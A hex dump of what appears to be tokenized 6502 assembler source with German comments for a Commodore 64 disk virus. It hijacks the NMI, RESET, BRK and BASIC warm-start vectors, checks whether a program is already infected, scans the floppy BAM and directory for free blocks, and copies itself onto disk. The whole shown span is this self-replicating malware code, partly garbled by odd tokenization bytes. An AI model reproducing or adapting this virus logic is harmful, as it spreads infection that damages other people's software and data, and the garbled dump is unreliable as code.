00001090: AB AB 5A 45 49 47 45 52 AB 53 45 54 5A 45 4E AB |..ZEIGER.SETZEN.|
000010A0: AB AB AB AB AB AB B1 50 00 B9 18 99 11 50 4F B5 |.......P.....PO.|
000010B0: 45 52 20 4C 44 41 20 93 50 00 C4 18 9E 11 4C 44 |ER LDA .P.....LD|
000010C0: 41 20 93 50 00 D0 18 A3 11 43 4D 50 20 23 B3 93 |A .P.....CMP #..|
000010D0: 00 F3 18 A8 11 42 45 51 20 50 31 20 20 20 20 20 |.....BEQ P1 |
000010E0: 20 3B 44 49 56 45 52 53 45 20 42 45 54 52 49 45 | ;DIVERSE BETRIE|
000010F0: 42 53 AB 00 11 19 AD 11 53 54 41 20 93 AA 31 20 |BS......STA ..1 |
00001100: 20 3B 9E 54 45 4D 20 5A 45 49 47 45 52 20 41 55 | ;.TEM ZEIGER AU|
00001110: 46 00 2E 19 B2 11 4C 44 41 20 23 B3 93 20 20 3B |F.....LDA #.. ;|
00001120: 56 49 52 55 53 20 50 52 4F 47 52 41 4D 4D 00 43 |VIRUS PROGRAMM.C|
00001130: 19 B7 11 53 54 41 20 93 50 20 20 20 3B 53 45 54 |...STA .P ;SET|
00001140: 5A 45 4E 00 53 19 BC 11 50 31 20 4C 44 41 20 93 |ZEN.S...P1 LDA .|
00001150: 50 AA 31 00 6F 19 C1 11 43 4D 50 20 23 B1 93 20 |P.1.o...CMP #.. |
00001160: 20 3B 28 93 2C 94 2C 4E 4D 49 2C 49 52 51 2C 00 | ;(.,.,NMI,IRQ,.|
00001170: 96 19 C6 11 42 45 51 20 50 32 20 20 20 20 20 20 |....BEQ P2 |
00001180: 3B 52 45 53 45 54 2C 42 41 53 49 43 57 41 52 4D |;RESET,BASICWARM|
00001190: 53 54 41 52 54 2C 00 B0 19 CB 11 53 54 41 20 93 |START,.....STA .|
000011A0: AA 32 20 20 3B 42 52 45 41 4B 56 45 4B A4 52 29 |.2 ;BREAKVEK.R)|
000011B0: 00 BC 19 D0 11 4C 44 41 20 23 B1 93 00 C9 19 D5 |.....LDA #......|
000011C0: 11 53 54 41 20 93 50 AA 31 00 D7 19 DA 11 50 32 |.STA .P.1.....P2|
000011D0: 20 4C 44 41 20 94 50 00 E3 19 DF 11 43 4D 50 20 | LDA .P.....CMP |
000011E0: 23 B3 94 00 EE 19 E4 11 42 45 51 20 50 33 00 FA |#.......BEQ P3..|
000011F0: 19 E9 11 53 54 41 20 94 AA 31 00 06 1A EE 11 4C |...STA ..1.....L|
00001200: 44 41 20 23 B3 94 00 11 1A F3 11 53 54 41 20 94 |DA #.......STA .|
00001210: 50 00 21 1A F8 11 50 33 20 4C 44 41 20 94 50 AA |P.!...P3 LDA .P.|
00001220: 31 00 2D 1A FD 11 43 4D 50 20 23 B1 94 00 38 1A |1.-...CMP #...8.|
00001230: 02 12 42 45 51 20 50 34 00 44 1A 07 12 53 54 41 |..BEQ P4.D...STA|
00001240: 20 94 AA 32 00 50 1A 0C 12 4C 44 41 20 23 B1 94 | ..2.P...LDA #..|
00001250: 00 5D 1A 11 12 53 54 41 20 94 50 AA 31 00 6E 1A |.]...STA .P.1.n.|
00001260: 16 12 50 34 20 4C 44 41 20 57 41 52 4D 50 00 7D |..P4 LDA WARMP.}|
00001270: 1A 1B 12 43 4D 50 20 23 B3 42 57 53 31 00 88 1A |...CMP #.BWS1...|
00001280: 20 12 42 45 51 20 50 35 00 97 1A 25 12 53 54 41 | .BEQ P5...%.STA|
00001290: 20 42 57 53 32 AA 31 00 A6 1A 2A 12 4C 44 41 20 | BWS2.1...*.LDA |
000012A0: 23 B3 42 57 53 31 00 B4 1A 2F 12 53 54 41 20 57 |#.BWS1.../.STA W|
000012B0: 41 52 4D 50 00 C7 1A 34 12 50 35 20 4C 44 41 20 |ARMP...4.P5 LDA |
000012C0: 57 41 52 4D 50 AA 31 00 D6 1A 39 12 43 4D 50 20 |WARMP.1...9.CMP |
000012D0: 23 B1 42 57 53 31 00 E1 1A 3E 12 42 45 51 20 50 |#.BWS1...>.BEQ P|
000012E0: 36 00 F0 1A 43 12 53 54 41 20 42 57 53 32 AA 32 |6...C.STA BWS2.2|
000012F0: 00 FF 1A 48 12 4C 44 41 20 23 B1 42 57 53 31 00 |...H.LDA #.BWS1.|
00001300: 0F 1B 4D 12 53 54 41 20 57 41 52 4D 50 AA 31 00 |..M.STA WARMP.1.|
00001310: 1F 1B 52 12 50 36 20 4C 44 41 20 4E 4D 49 50 00 |..R.P6 LDA NMIP.|
00001320: 2E 1B 57 12 43 4D 50 20 23 B3 4E 4D 49 31 00 39 |..W.CMP #.NMI1.9|
00001330: 1B 5C 12 42 45 51 20 50 39 00 48 1B 61 12 53 54 |.\.BEQ P9.H.a.ST|
00001340: 41 20 4E 4D 49 32 AA 31 00 57 1B 66 12 4C 44 41 |A NMI2.1.W.f.LDA|
00001350: 20 23 B3 4E 4D 49 31 00 64 1B 6B 12 53 54 41 20 | #.NMI1.d.k.STA |
00001360: 4E 4D 49 50 00 76 1B 70 12 50 39 20 4C 44 41 20 |NMIP.v.p.P9 LDA |
00001370: 4E 4D 49 50 AA 31 00 85 1B 75 12 43 4D 50 20 23 |NMIP.1...u.CMP #|
00001380: B1 4E 4D 49 31 00 91 1B 7A 12 42 45 51 20 50 31 |.NMI1...z.BEQ P1|
00001390: 30 00 A0 1B 7F 12 53 54 41 20 4E 4D 49 32 AA 32 |0.....STA NMI2.2|
000013A0: 00 AF 1B 84 12 4C 44 41 20 23 B1 4E 4D 49 31 00 |.....LDA #.NMI1.|
000013B0: BE 1B 89 12 53 54 41 20 4E 4D 49 50 AA 31 00 D1 |....STA NMIP.1..|
000013C0: 1B 8E 12 50 31 30 20 4C 44 41 20 23 B3 4E 4D 49 |...P10 LDA #.NMI|
000013D0: 31 00 E0 1B 93 12 53 54 41 20 42 52 45 41 4B 50 |1.....STA BREAKP|
000013E0: 00 EF 1B 98 12 4C 44 41 20 23 B1 4E 4D 49 31 00 |.....LDA #.NMI1.|
000013F0: 00 1C 9D 12 53 54 41 20 42 52 45 41 4B 50 AA 31 |....STA BREAKP.1|
00001400: 00 10 1C A2 12 4C 44 41 20 23 B3 52 45 53 45 54 |.....LDA #.RESET|
00001410: 00 1E 1C AC 12 53 54 41 20 24 46 46 46 43 00 2E |.....STA $FFFC..|
00001420: 1C B6 12 4C 44 41 20 23 B1 52 45 53 45 54 00 3C |...LDA #.RESET.<|
00001430: 1C C0 12 53 54 41 20 24 46 46 46 44 00 44 1C CA |...STA $FFFD.D..|
00001440: 12 52 54 53 00 64 1C 24 13 3B AB AB 5A 45 49 47 |.RTS.d.$.;..ZEIG|
00001450: 45 52 AB 5A 55 52 55 45 43 4B 53 45 54 5A 45 4E |ER.ZURUECKSETZEN|
00001460: AB AB AB B1 00 72 1C 29 13 8C 20 4C 44 41 20 93 |.....r.).. LDA .|
00001470: AA 31 00 92 1C 2E 13 53 54 41 20 93 50 20 20 20 |.1.....STA .P |
00001480: 3B 44 49 56 45 52 53 45 20 42 45 54 52 49 45 42 |;DIVERSE BETRIEB|
00001490: 53 AB 00 AF 1C 33 13 4C 44 41 20 93 AA 32 20 20 |S....3.LDA ..2 |
000014A0: 3B 9E 54 45 4D 5A 45 49 47 45 52 20 41 55 46 00 |;.TEMZEIGER AUF.|
000014B0: CB 1C 38 13 53 54 41 20 93 50 AA 31 20 3B B0 47 |..8.STA .P.1 ;.G|
000014C0: 49 4E 41 4C 41 44 52 45 53 53 45 00 E7 1C 3D 13 |INALADRESSE...=.|
000014D0: 4C 44 41 20 94 AA 31 20 20 3B 5A 55 52 55 45 43 |LDA ..1 ;ZURUEC|
000014E0: 4B 53 45 54 5A 45 4E 00 03 1D 42 13 53 54 41 20 |KSETZEN...B.STA |
000014F0: 94 50 20 20 20 3B 28 93 2C 94 2C 4E 4D 49 2C 49 |.P ;(.,.,NMI,I|
00001500: 52 51 2C 00 21 1D 47 13 4C 44 41 20 94 AA 32 20 |RQ,.!.G.LDA ..2 |
00001510: 20 3B 42 41 53 49 43 57 41 52 4D 53 54 41 52 54 | ;BASICWARMSTART|
00001520: 29 00 2E 1D 4C 13 53 54 41 20 94 50 AA 31 00 3D |)...L.STA .P.1.=|
00001530: 1D 51 13 4C 44 41 20 42 57 53 32 AA 31 00 4B 1D |.Q.LDA BWS2.1.K.|
00001540: 56 13 53 54 41 20 57 41 52 4D 50 00 5A 1D 5B 13 |V.STA WARMP.Z.[.|
00001550: 4C 44 41 20 42 57 53 32 AA 32 00 6A 1D 60 13 53 |LDA BWS2.2.j.`.S|
00001560: 54 41 20 57 41 52 4D 50 AA 31 00 79 1D 65 13 4C |TA WARMP.1.y.e.L|
00001570: 44 41 20 4E 4D 49 32 AA 31 00 86 1D 6A 13 53 54 |DA NMI2.1...j.ST|
00001580: 41 20 4E 4D 49 50 00 95 1D 6F 13 4C 44 41 20 4E |A NMIP...o.LDA N|
00001590: 4D 49 32 AA 32 00 A4 1D 74 13 53 54 41 20 4E 4D |MI2.2...t.STA NM|
000015A0: 49 50 AA 31 00 AC 1D 79 13 52 54 53 00 D0 1D 70 |IP.1...y.RTS...p|
000015B0: 17 3B AB AB AB AB AB AB 56 49 52 55 53 AB 4B 4F |.;......VIRUS.KO|
000015C0: 50 49 45 52 45 4E AB AB AB AB AB B1 4A 55 4D 50 |PIEREN......JUMP|
000015D0: 00 E4 1D 7A 17 44 4F 49 54 20 4C 44 41 20 53 54 |...z.DOIT LDA ST|
000015E0: 41 54 55 53 00 04 1E 84 17 50 48 41 20 20 20 20 |ATUS.....PHA |
000015F0: 20 20 20 20 20 20 3B 53 54 41 54 55 53 20 52 45 | ;STATUS RE|
00001600: 54 54 45 4E 00 11 1E 8E 17 4C 44 58 20 23 24 30 |TTEN.....LDX #$0|
00001610: 35 00 26 1E 98 17 4A 55 4D 50 31 32 20 4C 44 41 |5.&...JUMP12 LDA|
00001620: 20 50 41 52 2C 58 00 2E 1E A2 17 50 48 41 00 4E | PAR,X.....PHA.N|
00001630: 1E AC 17 44 45 58 20 20 20 20 20 20 20 20 20 20 |...DEX |
00001640: 3B 53 50 45 49 43 48 45 52 53 54 45 4C C3 00 71 |;SPEICHERSTEL..q|
00001650: 1E B6 17 42 50 4C 20 4A 55 4D 50 31 32 20 20 20 |...BPL JUMP12 |
00001660: 3B 41 55 46 20 53 54 41 43 4B 20 52 45 54 54 45 |;AUF STACK RETTE|
00001670: 4E 00 84 1E C0 17 4C 44 58 20 23 31 33 AA 42 4C |N.....LDX #13.BL|
00001680: 4F 43 4B 53 00 99 1E CA 17 4A 55 4D 50 31 33 20 |OCKS.....JUMP13 |
00001690: 4C 44 41 20 4D 45 4D 2C 58 00 A1 1E D4 17 50 48 |LDA MEM,X.....PH|
000016A0: 41 00 A9 1E DE 17 44 45 58 00 B8 1E E8 17 42 50 |A.....DEX.....BP|
000016B0: 4C 20 4A 55 4D 50 31 33 00 D2 1E 06 18 4C 44 41 |L JUMP13.....LDA|
000016C0: 20 23 30 20 20 20 20 20 20 20 3B 46 4C 4F 50 50 | #0 ;FLOPP|
000016D0: 59 AB 00 E4 1E 10 18 4A 53 52 20 48 41 43 B5 4F |Y......JSR HAC.O|
000016E0: 53 48 20 3B 00 02 1F 1A 18 4C 44 58 20 23 24 36 |SH ;.....LDX #$6|
000016F0: 46 20 20 20 20 20 3B 4B 4F 4D 4D AF 4F 4B 41 4E |F ;KOMM.OKAN|
00001700: 41 4C 00 15 1F 24 18 53 54 58 20 53 45 4B 20 20 |AL...$.STX SEK |
00001710: 20 20 20 20 3B 00 2E 1F 2E 18 4A 53 52 20 48 41 | ;.....JSR HA|
00001720: 4E 53 20 20 20 20 20 3B 4F 45 46 A5 45 4E 00 4F |NS ;OEF.EN.O|
00001730: 1F 38 18 4C 44 41 20 23 31 20 20 20 20 20 20 20 |.8.LDA #1 |
00001740: 3B 5A 55 88 5A 54 42 45 4E 55 54 5A 54 45 53 00 |;ZU.ZTBENUTZTES.|
00001750: 66 1F 42 18 4C 44 58 20 23 B3 4E 41 4D 45 20 20 |f.B.LDX #.NAME |
00001760: 20 3B 46 49 4C 45 00 79 1F 4C 18 4C 44 59 20 23 | ;FILE.y.L.LDY #|
00001770: B1 4E 41 4D 45 20 20 20 3B 00 8B 1F 56 18 4A 53 |.NAME ;...V.JS|
00001780: 52 20 48 41 43 B5 4F 53 48 20 3B 00 9E 1F 60 18 |R HAC.OSH ;...`.|
00001790: 4C 44 41 20 23 24 36 30 20 20 20 20 20 3B 00 B1 |LDA #$60 ;..|
000017A0: 1F 6A 18 53 54 41 20 53 45 4B 20 20 20 20 20 20 |.j.STA SEK |
000017B0: 3B 00 C4 1F 74 18 4A 53 52 20 48 41 4E 53 20 20 |;...t.JSR HANS |
000017C0: 20 20 20 3B 00 D2 1F 7E 18 4A 53 52 20 53 54 41 | ;...~.JSR STA|
000017D0: 4C 4B 00 E9 1F 88 18 4A 53 52 20 42 48 50 20 20 |LK.....JSR BHP |
000017E0: 20 20 20 20 3B 41 44 52 4C 00 F8 1F 92 18 43 4D | ;ADRL.....CM|
000017F0: 50 20 42 41 53 49 43 53 00 02 20 9C 18 42 4E 45 |P BASICS.. ..BNE|
00001800: 20 80 00 19 20 A6 18 4A 53 52 20 42 48 50 20 20 | ... ..JSR BHP |
00001810: 20 20 20 20 3B 41 44 52 48 00 2A 20 B0 18 43 4D | ;ADRH.* ..CM|
00001820: 50 20 42 41 53 49 43 53 AA 31 00 34 20 BA 18 42 |P BASICS.1.4 ..B|
00001830: 4E 45 20 80 00 53 20 C4 18 4C 44 41 20 23 35 20 |NE ..S ..LDA #5 |
00001840: 20 20 20 20 20 20 3B 57 45 4E 4E 20 52 49 43 48 | ;WENN RICH|
00001850: 54 49 47 00 79 20 CE 18 53 54 41 20 43 4F 55 4E |TIG.y ..STA COUN|
00001860: 54 20 20 20 20 3B 4C 45 53 45 20 4C 49 4E 4B 2C |T ;LESE LINK,|
00001870: 4C 49 4E 45 2C A4 4B 45 4E 00 8B 20 D8 18 4C 4F |LINE,.KEN.. ..LO|
00001880: 4F 50 31 20 4A 53 52 20 42 48 50 00 99 20 E2 18 |OP1 JSR BHP.. ..|
00001890: 44 45 43 20 43 4F 55 4E 54 00 A7 20 EC 18 42 4E |DEC COUNT.. ..BN|
000018A0: 45 20 4C 4F 4F 50 31 00 AF 20 F6 18 54 41 58 00 |E LOOP1.. ..TAX.|
000018B0: D2 20 00 19 4C 44 41 20 53 54 41 54 55 53 20 20 |. ..LDA STATUS |
000018C0: 20 3B 46 45 48 4C 45 52 20 41 55 46 A1 52 45 54 | ;FEHLER AUF.RET|
000018D0: 45 4E 00 DA 20 0A 19 4C 53 52 00 E2 20 14 19 4C |EN.. ..LSR.. ..L|
000018E0: 53 52 00 05 21 1E 19 42 43 53 20 80 20 20 20 20 |SR..!..BCS . |
000018F0: 20 20 3B 4A 41 20 20 20 20 20 20 20 20 20 20 20 | ;JA |
00001900: 20 20 AB AB B1 00 20 21 28 19 43 50 58 20 23 24 | .... !(.CPX #$|
00001910: 39 45 20 20 20 20 20 3B 9E AB 42 45 46 45 48 4C |9E ;..BEFEHL|
00001920: 00 45 21 32 19 42 4E 45 20 4A 55 4D 50 31 20 20 |.E!2.BNE JUMP1 |
00001930: 20 20 3B 4E 45 49 4E 2C 20 42 41 53 49 43 50 52 | ;NEIN, BASICPR|
00001940: 47 20 AB AB B1 00 67 21 3C 19 4C 44 41 20 23 30 |G ....g!<.LDA #0|
00001950: 20 20 20 20 20 20 20 3B 54 45 53 54 45 20 41 55 | ;TESTE AU|
00001960: 46 20 56 49 52 55 53 00 75 21 46 19 53 54 41 20 |F VIRUS.u!F.STA |
00001970: 43 4F 55 4E 54 00 87 21 50 19 4C 4F 4F 50 32 20 |COUNT..!P.LOOP2 |
00001980: 4A 53 52 20 42 48 50 00 95 21 5A 19 4C 44 58 20 |JSR BHP..!Z.LDX |
00001990: 43 4F 55 4E 54 00 A5 21 64 19 43 4D 50 20 56 49 |COUNT..!d.CMP VI|
000019A0: 52 55 53 2C 58 00 B3 21 6E 19 42 4E 45 20 4A 55 |RUS,X..!n.BNE JU|
000019B0: 4D 50 31 00 BB 21 78 19 49 4E 58 00 C9 21 82 19 |MP1..!x.INX..!..|
000019C0: 53 54 58 20 43 4F 55 4E 54 00 D5 21 8C 19 43 50 |STX COUNT..!..CP|
000019D0: 58 20 23 32 37 00 E3 21 96 19 42 4E 45 20 4C 4F |X #27..!..BNE LO|
000019E0: 4F 50 32 00 06 22 A0 19 80 20 4A 4D 50 20 42 59 |OP2.."... JMP BY|
000019F0: 45 20 20 3B 50 52 47 20 53 43 48 91 20 56 45 52 |E ;PRG SCH. VER|
00001A00: 53 45 55 43 48 54 00 1A 22 AA 19 4A 55 4D 50 31 |SEUCHT.."..JUMP1|
00001A10: 20 4A 53 52 20 53 55 48 41 4C 00 3E 22 B4 19 4C | JSR SUHAL.>"..L|
00001A20: 44 41 20 23 22 52 22 20 20 20 20 20 3B 53 43 48 |DA #"R" ;SCH|
00001A30: 41 4C 54 45 20 41 55 46 20 4C 45 53 45 AB 00 56 |ALTE AUF LESE..V|
00001A40: 22 BE 19 53 54 41 20 44 4F 20 20 20 20 20 20 20 |"..STA DO |
00001A50: 3B 4D 4F 44 55 53 00 63 22 C8 19 4C 44 58 20 23 |;MODUS.c"..LDX #|
00001A60: 24 36 46 00 6F 22 D2 19 53 54 58 20 53 45 4B 00 |$6F.o"..STX SEK.|
00001A70: 91 22 DC 19 4C 44 58 20 23 24 46 39 20 20 20 20 |."..LDX #$F9 |
00001A80: 20 3B 5A 55 88 5A 54 20 42 45 4E 55 54 5A 54 45 | ;ZU.ZT BENUTZTE|
00001A90: 4E 00 B2 22 E6 19 4C 44 59 20 23 30 20 20 20 20 |N.."..LDY #0 |
00001AA0: 20 20 20 3B 50 55 46 46 45 52 20 45 52 4D 49 54 | ;PUFFER ERMIT|
00001AB0: 54 C3 00 BD 22 F0 19 4C 44 41 20 23 31 00 CB 22 |T..."..LDA #1.."|
00001AC0: FA 19 4A 53 52 20 4D 45 4D B0 59 00 DC 22 04 1A |..JSR MEM.Y.."..|
00001AD0: 4A 53 52 20 47 41 52 46 49 45 4C 44 00 EA 22 0E |JSR GARFIELD..".|
00001AE0: 1A 4A 53 52 20 53 54 41 4C 4B 00 08 23 18 1A 4A |.JSR STALK..#..J|
00001AF0: 53 52 20 42 48 50 20 20 20 20 20 20 3B 48 4F 4C |SR BHP ;HOL|
00001B00: 45 20 50 55 46 46 45 52 00 10 23 22 1A 50 48 41 |E PUFFER..#".PHA|
00001B10: 00 1E 23 2C 1A 4A 53 52 20 53 55 48 41 4C 00 26 |..#,.JSR SUHAL.&|
00001B20: 23 36 1A 50 4C 41 00 49 23 40 1A 53 54 41 20 4A |#6.PLA.I#@.STA J|
00001B30: 4F 42 20 20 20 20 20 20 3B 42 45 52 45 43 48 4E |OB ;BERECHN|
00001B40: 45 20 44 49 56 45 52 53 45 00 65 23 4A 1A 43 4C |E DIVERSE.e#J.CL|
00001B50: 43 20 20 20 20 20 20 20 20 20 20 3B 50 41 52 41 |C ;PARA|
00001B60: 4D 45 54 45 52 00 70 23 54 1A 41 44 43 20 23 33 |METER.p#T.ADC #3|
00001B70: 00 93 23 5E 1A 53 54 41 20 41 44 52 20 20 20 20 |..#^.STA ADR |
00001B80: 20 20 3B 48 49 47 48 AB 42 59 54 45 20 50 55 46 | ;HIGH.BYTE PUF|
00001B90: 46 45 52 00 9F 23 68 1A 4C 44 41 20 4A 4F 42 00 |FER..#h.LDA JOB.|
00001BA0: A7 23 72 1A 41 53 4C 00 CA 23 7C 1A 41 44 43 20 |.#r.ASL..#|.ADC |
00001BB0: 23 36 20 20 20 20 20 20 20 3B 54 52 41 43 4B 26 |#6 ;TRACK&|
00001BC0: 53 45 43 A4 52 20 46 55 45 52 00 E0 23 86 1A 54 |SEC.R FUER..#..T|
00001BD0: 41 58 20 20 20 20 20 20 20 20 20 20 3B 4A 4F 42 |AX ;JOB|
00001BE0: 00 EF 23 90 1A 53 54 58 20 50 55 46 46 45 52 00 |..#..STX PUFFER.|
00001BF0: FA 23 9A 1A 4C 44 59 20 23 30 00 18 24 A4 1A 4C |.#..LDY #0..$..L|
00001C00: 44 41 20 23 32 20 20 20 20 20 20 20 3B 48 4F 4C |DA #2 ;HOL|
00001C10: 45 20 53 54 41 52 54 AB 00 38 24 AE 1A 4A 53 52 |E START..8$..JSR|
00001C20: 20 4D 45 4D B0 59 20 20 20 3B 54 52 41 43 4B 20 | MEM.Y ;TRACK |
00001C30: 26 20 AB 53 45 43 A4 52 00 49 24 B8 1A 4A 53 52 |& .SEC.R.I$..JSR|
00001C40: 20 47 41 52 46 49 45 4C 44 00 57 24 C2 1A 4A 53 | GARFIELD.W$..JS|
00001C50: 52 20 53 54 41 4C 4B 00 74 24 CC 1A 4A 53 52 20 |R STALK.t$..JSR |
00001C60: 42 48 50 20 20 20 20 20 20 3B 53 54 41 52 54 54 |BHP ;STARTT|
00001C70: 52 41 43 4B 00 90 24 D6 1A 53 54 41 20 54 52 41 |RACK..$..STA TRA|
00001C80: 43 4B 20 20 20 20 3B 53 50 45 49 43 48 45 52 4E |CK ;SPEICHERN|
00001C90: 00 AD 24 E0 1A 4A 53 52 20 42 48 50 20 20 20 20 |..$..JSR BHP |
00001CA0: 20 20 3B 53 54 41 52 54 53 45 43 A4 52 00 C8 24 | ;STARTSEC.R..$|
00001CB0: EA 1A 53 54 41 20 53 45 43 A4 52 20 20 20 3B 53 |..STA SEC.R ;S|
00001CC0: 50 45 49 43 48 45 52 4E 00 D6 24 F4 1A 4A 53 52 |PEICHERN..$..JSR|
00001CD0: 20 53 55 48 41 4C 00 F7 24 FE 1A 4C 44 41 20 54 | SUHAL..$..LDA T|
00001CE0: 52 41 43 4B 20 20 20 20 3B 44 49 52 45 43 A4 52 |RACK ;DIREC.R|
00001CF0: 59 20 4E 49 43 48 54 00 14 25 08 1B 43 4D 50 20 |Y NICHT..%..CMP |
00001D00: 23 31 38 20 20 20 20 20 20 3B 56 45 52 53 45 55 |#18 ;VERSEU|
00001D10: 43 48 45 4E 00 1E 25 12 1B 42 45 51 20 80 00 41 |CHEN..%..BEQ ..A|
00001D20: 25 1C 1B 4C 44 58 20 23 24 30 45 20 20 20 20 20 |%..LDX #$0E |
00001D30: 3B 50 52 55 45 46 45 20 4F 42 20 42 41 4D 20 49 |;PRUEFE OB BAM I|
00001D40: 4D 00 65 25 26 1B 4C 44 59 20 23 24 30 30 20 20 |M.e%&.LDY #$00 |
00001D50: 20 20 20 3B 46 4C 4F 50 50 59 AB 52 41 4D 20 56 | ;FLOPPY.RAM V|
00001D60: B0 48 AF 45 4E 00 7B 25 30 1B 4C 44 41 20 23 32 |.H.EN.{%0.LDA #2|
00001D70: 20 20 20 20 20 20 20 3B 49 53 54 00 89 25 3A 1B | ;IST..%:.|
00001D80: 4A 53 52 20 4D 45 4D B0 59 00 9A 25 44 1B 4A 53 |JSR MEM.Y..%D.JS|
00001D90: 52 20 47 41 52 46 49 45 4C 44 00 A8 25 4E 1B 4A |R GARFIELD..%N.J|
00001DA0: 53 52 20 53 54 41 4C 4B 00 B4 25 58 1B 4A 53 52 |SR STALK..%X.JSR|
00001DB0: 20 42 48 50 00 D5 25 62 1B 43 4D 50 20 23 31 38 | BHP..%b.CMP #18|
00001DC0: 20 20 20 20 20 20 3B 44 49 52 45 43 A4 52 59 AB | ;DIREC.RY.|
00001DD0: 54 52 41 43 4B 00 F7 25 6C 1B 42 4E 45 20 80 20 |TRACK..%l.BNE . |
00001DE0: 20 20 20 20 20 3B 4E 45 49 4E 20 20 AB AB B1 20 | ;NEIN ... |
00001DF0: 44 41 4E 4E 20 80 45 00 03 26 76 1B 4A 53 52 20 |DANN .E..&v.JSR |
00001E00: 42 48 50 00 1F 26 80 1B 43 4D 50 20 23 30 20 20 |BHP..&..CMP #0 |
00001E10: 20 20 20 20 20 3B 42 41 4D AB 53 45 43 A4 52 00 | ;BAM.SEC.R.|
00001E20: 41 26 8A 1B 42 4E 45 20 80 20 20 20 20 20 20 3B |A&..BNE . ;|
00001E30: 4E 45 49 4E 20 20 AB AB B1 20 44 41 4E 4E 20 80 |NEIN ... DANN .|
00001E40: 45 00 4F 26 94 1B 4A 53 52 20 53 55 48 41 4C 00 |E.O&..JSR SUHAL.|
00001E50: 72 26 9E 1B 4C 44 58 20 23 24 30 30 20 20 20 20 |r&..LDX #$00 |
00001E60: 20 3B 53 55 43 48 45 20 50 4C 41 54 5A 20 46 55 | ;SUCHE PLATZ FU|
00001E70: 45 52 00 8A 26 A8 1B 4A 55 4D 50 33 20 53 54 58 |ER..&..JUMP3 STX|
00001E80: 20 58 20 20 3B 56 49 52 55 53 00 92 26 B2 1B 54 | X ;VIRUS..&..T|
00001E90: 58 41 00 B9 26 BC 1B 4C 53 52 20 20 20 20 20 20 |XA..&..LSR |
00001EA0: 20 20 20 20 3B 50 52 55 45 46 45 20 55 4E 54 45 | ;PRUEFE UNTE|
00001EB0: 52 53 54 45 53 20 42 49 54 00 DC 26 C6 1B 53 54 |RSTES BIT..&..ST|
00001EC0: 41 20 43 4F 55 4E 54 20 20 20 20 3B 57 45 4E 4E |A COUNT ;WENN|
00001ED0: 20 42 49 54 B2 30 20 53 55 43 48 45 00 F9 26 D0 | BIT.0 SUCHE..&.|
00001EE0: 1B 42 43 43 20 4A 55 4D 50 39 20 20 20 20 3B 4E |.BCC JUMP9 ;N|
00001EF0: 41 43 48 20 49 4E 4E 45 4E 00 19 27 DA 1B 4C 44 |ACH INNEN..'..LD|
00001F00: 41 20 54 52 41 43 4B 20 20 20 20 3B AF 45 52 46 |A TRACK ;.ERF|
00001F10: 41 4C 4C 53 20 4E 41 43 48 00 32 27 E4 1B 53 42 |ALLS NACH.2'..SB|
00001F20: 43 20 43 4F 55 4E 54 20 20 20 20 3B 41 55 53 53 |C COUNT ;AUSS|
00001F30: 45 4E 00 41 27 EE 1B 4A 4D 50 20 4A 55 4D 50 31 |EN.A'..JMP JUMP1|
00001F40: 30 00 56 27 F8 1B 4A 55 4D 50 39 20 20 41 44 43 |0.V'..JUMP9 ADC|
00001F50: 20 54 52 41 43 4B 00 6C 27 02 1C 4A 55 4D 50 31 | TRACK.l'..JUMP1|
00001F60: 30 20 53 54 41 20 56 54 52 41 43 4B 00 8B 27 0C |0 STA VTRACK..'.|
00001F70: 1C 42 45 51 20 4A 55 4D 50 31 36 20 20 20 3B 53 |.BEQ JUMP16 ;S|
00001F80: 50 55 52 B1 33 35 20 4F 44 45 52 00 B2 27 16 1C |PUR.35 ODER..'..|
00001F90: 43 4D 50 20 23 33 36 20 20 20 20 20 20 3B B3 31 |CMP #36 ;.1|
00001FA0: 20 44 41 4E 4E 20 57 45 49 54 45 52 53 55 43 48 | DANN WEITERSUCH|
00001FB0: 45 4E 00 C1 27 20 1C 42 43 53 20 4A 55 4D 50 31 |EN..' .BCS JUMP1|
00001FC0: 36 00 E0 27 2A 1C 43 4D 50 20 23 31 38 20 20 20 |6..'*.CMP #18 |
00001FD0: 20 20 20 3B 44 49 52 45 43 A4 52 59 53 50 55 52 | ;DIREC.RYSPUR|
00001FE0: 00 EF 27 34 1C 42 45 51 20 4A 55 4D 50 31 36 00 |..'4.BEQ JUMP16.|
00001FF0: 0D 28 3E 1C 4A 53 52 20 42 53 45 4C 45 43 54 20 |.(>.JSR BSELECT |
00002000: 20 3B 53 55 43 48 45 20 50 4C 41 54 5A 00 1E 28 | ;SUCHE PLATZ..(|
00002010: 48 1C 4A 53 52 20 47 41 52 46 49 45 4C 44 00 2C |H.JSR GARFIELD.,|
00002020: 28 52 1C 4A 53 52 20 53 54 41 4C 4B 00 38 28 5C |(R.JSR STALK.8(\|
00002030: 1C 4A 53 52 20 42 48 50 00 59 28 66 1C 43 4D 50 |.JSR BHP.Y(f.CMP|
00002040: 20 23 42 4C 4F 43 4B 53 20 20 3B 50 4C 41 54 5A | #BLOCKS ;PLATZ|
00002050: 20 47 45 46 55 4E 44 45 4E 00 71 28 70 1C 42 43 | GEFUNDEN.q(p.BC|
00002060: 53 20 4A 55 4D 50 34 20 20 20 20 3B 4A 41 AB AB |S JUMP4 ;JA..|
00002070: B1 00 7F 28 7A 1C 4A 53 52 20 53 55 48 41 4C 00 |...(z.JSR SUHAL.|
00002080: 90 28 84 1C 4A 55 4D 50 31 36 20 4C 44 58 20 58 |.(..JUMP16 LDX X|
00002090: 00 B4 28 8E 1C 49 4E 58 20 20 20 20 20 20 20 20 |..(..INX |
000020A0: 20 20 3B 50 52 55 45 46 45 20 4F 42 20 57 45 49 | ;PRUEFE OB WEI|
000020B0: 54 45 52 45 00 D3 28 98 1C 43 50 58 20 23 36 38 |TERE..(..CPX #68|
000020C0: 20 20 20 20 20 20 3B 53 55 43 48 45 20 BF 4E 56 | ;SUCHE .NV|
000020D0: 4F 4C 4C 00 EB 28 A2 1C 42 4E 45 20 4A 55 4D 50 |OLL..(..BNE JUMP|
000020E0: 33 20 20 20 20 3B AB AB B1 4A 41 00 0E 29 AC 1C |3 ;...JA..)..|
000020F0: 4A 4D 50 20 80 20 20 20 20 20 20 3B 4E 45 49 4E |JMP . ;NEIN|
00002100: 2C 44 41 4E 4E 20 56 49 52 55 53 20 80 45 00 24 |,DANN VIRUS .E.$|
00002110: 29 B6 1C 4A 55 4D 50 34 20 53 42 43 20 23 42 4C |)..JUMP4 SBC #BL|
00002120: 4F 43 4B 53 00 42 29 C0 1C 53 54 41 20 B8 45 20 |OCKS.B)..STA .E |
00002130: 20 20 20 20 3B 50 4C 41 54 5A 20 42 45 4C 45 47 | ;PLATZ BELEG|
